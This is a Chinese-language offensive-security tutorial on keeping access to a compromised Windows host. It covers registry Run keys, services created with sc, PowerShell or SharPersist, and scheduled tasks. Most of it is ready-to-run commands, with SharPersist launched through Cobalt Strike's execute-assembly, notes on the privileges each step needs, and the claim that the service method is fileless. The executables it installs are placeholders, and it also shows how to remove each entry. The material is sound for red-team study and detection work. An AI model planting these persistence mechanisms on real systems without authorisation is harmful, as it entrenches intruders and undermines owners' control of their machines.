权限维持
一、注册表自启动
1.1 注册表五大跟腱
-
HKEY_USERS
保存了存放在本地计算机口令列表中的用户标识和密码列表
-
HKEY_CURRENT_USER
该根键包含了本地工作站中存放的当前登录的用户信息
-
HKEY_CURRENT_CONFIG
该根键存放着当前用户桌面配置的数据
-
HKEY_CLASSES_ROOT
该根键根据 windows 操作系统中所安装的应用程序的扩展名,来指定文件类型。
-
HKEY_LOCAL_MACHINE
该根键存放本地计算机的硬件信息
1.2 实现原理
windows 提供了专门的开机自启动注册表。在每次开机完成后,它都会在这个注册表键下遍历键值,以获取键值中的程序路径,并创建进程启动程序。所以,只需要在这个注册表键下添加想要设置自启动程序的路径就可以了。其中常见的两个路径,分别是
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
注意:要修改 HKEY_LOCAL_MACHINE 主键的注册表,这要求具有管理员权限。而修改 HKEY_CURRENT_USER 主键的注册表,只需要用户默认权限就可以实现
HKEY_LOCAL_MACHINE 键中的自启动项在 windows 注册表编辑器中的位置:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER 键中的自启动项在 windows 注册表编辑器中的位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
1.3 命令行下的使用
reg add 命令介绍
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] [/reg:32 | /reg:64] KeyName [\\Machine\]FullKey Machine
添加自启动完整命令 HKEY_LOCAL_MACHINE 下:
reg add HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /t REG_SZ /d "C:\Users\Administrator\Desktop\regAutoRun2.exe" /f
HKEY_CURRENT_USER下:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v testReg2 /t REG_SZ /d "C:\Users\Administrator\Desktop\regAutoRun1.exe" /f
reg delete 命令介绍
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
查询
reg query KeyName(FullKey) /f ValueName
案例
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f testReg1
删除
reg delete KeyName(FullKey) /v ValueName /f
删除已添加的注册表自启动完整命令
HKEY_LOCAL_MACHINE 下:
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /f
HKEY_CURRENT_USER 下:
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v testReg2 /f
二、系统服务自启
- 启动系统服务管理器的命令:services.msc
- 操作系统服务需要本地管理员权限
- 服务在Windows启动后将以本地系统权限(system)执行
2.1 命令下创建服务
如果账户具有本地管理员特权,可以从命令提示符创建服务。参数”binpath“用于执行任意有效参数==负载,而参数”auto“用于保护恶意服务将自动启动
2.1.1 添加SC服务
设置程序路径
sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Public\scAutoRunTest.exe"
设置对服务的描述
sc description "scAutoRunTest" "scAutoRunTest"
设置这个服务为自动启动
sc config "scAutoRunTest" start=auto
启动服务
net start "scAutoRunTest"
sc start "scAutoRunTest"
sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Public\scAutoRunTest.exe"&&sc description "scAutoRunTest" "scAutoRunTest"&&sc config "scAutoRunTest" start=auto&&sc start "scAutoRunTest"
2.1.2 查询SC服务
sc qc scAutoRunTest
2.1.3删除SC服务
sc delete scAutoRunTest
2.2 PowerShell 创建服务
2.2.1 添加SC服务
创建服务
powershell.exe New-Service -Name "scAutoRunTest" -BinaryPathName 'cmd /c start /b C:\Users\Public\scAutoRunTest.exe' -Description "scAutoRunTest" -Star tupType Automatic
# BinaryPathName 后为单引号 Name 后为双引号
启动服务
sc start scAutoRunTest
2.2.2 查询SC服务
powershell.exe Get-Service -DisplayName "scAutoRunTest"
2.2.3 删除SC服务
powershell.exe Remove-Service-name "scAutoRunTest"
2.3 SharPersist 创建服务
Windows persistence toolkit written in C#
SharPersist 支持在系统中创建新服务的持久性技术。在系统上安装新服务需要本地管理员的访问权限,该服务将在 Windows 启动后以本地系统执行。
可以达到 内存加载的目的 文件不落地
2.3.1 添加SC服务
execute-assembly /root/SharPersist.exe -t service -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\scAutoRunTest.exe" -n "scAutoRunTest" -m add
2.3.2 查询SC服务
execute-assembly /root/SharPersist.exe -t service -m list -n "scAutoRunTest"
2.3.3 删除SC服务
execute-assembly /root/SharPersist.exe -t service -n "scAutoRunTest" -m remove
三、计划任务
图形化工具:taskschd.msc
命令行工具:schtasks.exe
3.1 schtasks 的使用
SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
Payload examples:
SCHTASKS /Create /TN update /TR xx(待执行的命令) /DELAY ONLOGON /F /RL HIGHES
3.1.1添加定时任务
参数解释
查看帮助
schtasks /create /?
/TN taskname 指定唯一识别这个计划任务的名称。
/TR taskrun 指定在这个计划时间运行的程序的路径和文件名。
/ST starttime 指定运行任务的开始时间,时间格式为 HH:mm,如果未指定 /ST,则默认值为当前时间。/SC ONCE 必需有此选项。
/ET endtime 指定运行任务的结束时间。
/SD startdate 指定运行任务的第一个日期。格式为 yyyy/mm/dd。
/ED enddate 指定此任务运行的最后一天的日期,不适用于计划类型: ONCE、ONSTART, ONLOGON, ONIDLE, ONEVENT。
/MO modifier 改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。
/SC schedule 指定计划频率。有效计划任务:MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。其中 ONLOGON, ONEVENT, ONSTART 需要管理员权限。
/RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST(需要管理员权限)。默认值为 LIMITED。
/DELAY delaytime 指定触发触发器后延迟任务运行的等待时间。时间格式为 mmmm:ss。此选项仅对计划类型ONSTART, ONLOGON, ONEVENT。
/F 如果指定的任务已经存在,则强制创建任务并抑制警告。选项 /RI、/DU、/ST、/SD、/ET、/ED 和 /K 不适用于计划类型: ONSTART、ONLOGON、ONIDLE。
3.1.2 使用案例
非管理员权限
/sc DAILY
每间隔一天执行一次
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /SC daily /sd 1999/01/01 /ed 2099/12/31
/sc MINUTE
每间隔一分钟执行一次,重启用户登录后过一分钟会执行一次
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /sc minute /st 00:00 /et 23:59
只执行一次,重启用户登录后执行一次(高低权限皆可使用/继承当前用户权限)【经常使用】
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /sc minute /st 00:00 /et 23:59 /mo 1 /f
管理员权限下
/sc onlogon
用户登录时执行
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /sc onlogon /f
/sc onstart
系统启动时执行
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /sc onstart /f
On User Idle (5mins)
schtasks /create /tn sctAutorunTest /tr "C:\Users\Public\sctAutorunTest.exe" /sc onidle /f /i 5
3.1.3 启动定时任务
/tn 计划任务的名称
/i 忽略任何限制立即运行任务。
schtasks /run /i /tn sctAutorunTest
3.1.4 查看定时任务
/FO format 为输出指定格式。有效值: TABLE、LIST、CSV。
/V 显示详细任务输出。
/TN taskname 指定要检索其信息的任务名称,否则会检索所有任务名称的信息。
schtasks /query /fo TABLE /tn sctAutorunTest
schtasks /query /fo LIST /tn sctAutorunTest
显示详细任务输出
schtasks /query /v /fo TABLE /tn sctAutorunTest
schtasks /query /v /fo LIST /tn sctAutorunTest
3.1.5 删除定时任务
/TN taskname 指定要删除的计划任务名称。可以使用通配符 "*" 来删除所有任务。
/F 强制删除该任务,如果指定的任务当前正在运行,则抑制警告。
schtasks /delete /tn sctAutorunTest /f
3.2 **SharPersist **使用
3.2.1 添加定时任务
管理员权限
execute-assembly /Users/yang/Desktop/tools/CobaltStrike_4.8/exe/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\sctAutorunTest.exe" -n "sctAutorunTest" -m add -o logon
普通用户组权限
execute-assembly /root/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\sctAutorunTest.exe" -n "sctAutorunTest" -m add -o hourly
execute-assembly /Users/yang/Desktop/tools/CobaltStrike_4.8/exe/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\sctAutorunTest.exe" -n "sctAutorunTest" -m add -o daily
3.2.2 查看定时任务
execute-assembly /Users/yang/Desktop/tools/CobaltStrike_4.8/exe/SharPersist.exe -t schtask -m list -n "sctAutorunTest"
3.2.3 删除定时任务
execute-assembly /root/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\sctAutorunTest.exe" -n "sctAutorunTest" -m remove